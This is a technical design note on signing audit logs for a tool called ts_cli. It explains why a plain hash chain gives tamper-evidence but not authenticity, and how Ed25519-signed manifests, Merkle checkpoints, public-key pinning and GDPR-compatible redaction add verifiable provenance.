The hash chain gives tamper-evidence (you cannot edit one entry in place without breaking the chain) but not authenticity: the chain hash takes no secret, so anyone holding the JSONL can recompute a fully self-consistent alternative chain. A third party handed a log cannot prove it was produced by a genuine instance, nor that it was not wholesale-regenerated. Every other signature in the tree is HMAC (symmetric) — a verifier would need the secret, so HMAC cannot give external verifiability either.
Action Manifest v0 (opt-in, --manifest-key) closes this with an Ed25519
(asymmetric) signature over a canonical, machine-readable manifest. Verifiers
need only the public key (published next to the log). Two signed units, both
emitted after an entry is committed — never on the decision path, so
provenance can never affect a verdict:
- Per-action manifest (
--manifest-per-action): one detached signature perAuditEntry, carrying the claim taxonomy (verdict,denied_reason,intent_class,fused_risk,trust_score,z3_checked). - Checkpoint (default): every N entries, sign a Merkle root over the range; one signature authenticates a whole range.
ts_cli --verify-manifests <audit-log> re-walks the chain, verifies every
signature, and confirms coverage (no committed entry lacks a covering
signature — gaps are reported, never silently passed).
- Key distribution (critical — JG-RT-026). Authenticity holds only against a
public key the verifier trusts out-of-band. The verifier reads the published
<log>.manifests.pubfor convenience, but that file lives beside the log: an attacker who can rewrite the log can also rewrite the pubkey and re-sign with their own key, producing a self-consistent forgery. So a verifier asserting authenticity against a malicious log-holder must pin the genuine key with--verify-manifests … --manifest-pubkey <hex>(the key is printed at daemon startup; record it on a trusted host). Without--manifest-pubkey, the result is flaggedpubkey_pinned = falseand proves only internal self-consistency (catches accidental corruption, not malicious regeneration). - What it adds: offline non-repudiation against a pinned key. A
regenerated/forged chain signed with a different key has an intact chain but
fails authenticity when checked against the genuine pinned key (covered by
the
forgery_with_different_key_fails_authenticityandswapped_pubkey_forgery_defeated_only_by_pinned_keytests). - What it does NOT add: defence against an attacker who already holds the live signing key (root on the host) — the same root-trust boundary as the fleet key. Making silent retroactive forgery detectable requires external transparency anchoring (#62 v2, roadmap).
- GDPR interaction: signatures cover the redacted entry bytes — exactly
what
calculate_hashcovers — neveraudit_pii. Crypto-shredding deletes onlyaudit_pii, so erasing a subject leaves every signature and the chain valid (covered by theerasure_keeps_chain_and_signatures_validtest). Provenance and the right-to-erasure stay compatible. - Key management: the Ed25519 private key is root-only (
0600, generated on first use),signer_key_id = SHA-256(pubkey)[..16]. Rotation epochs are a v1 item; v0 uses epoch 0.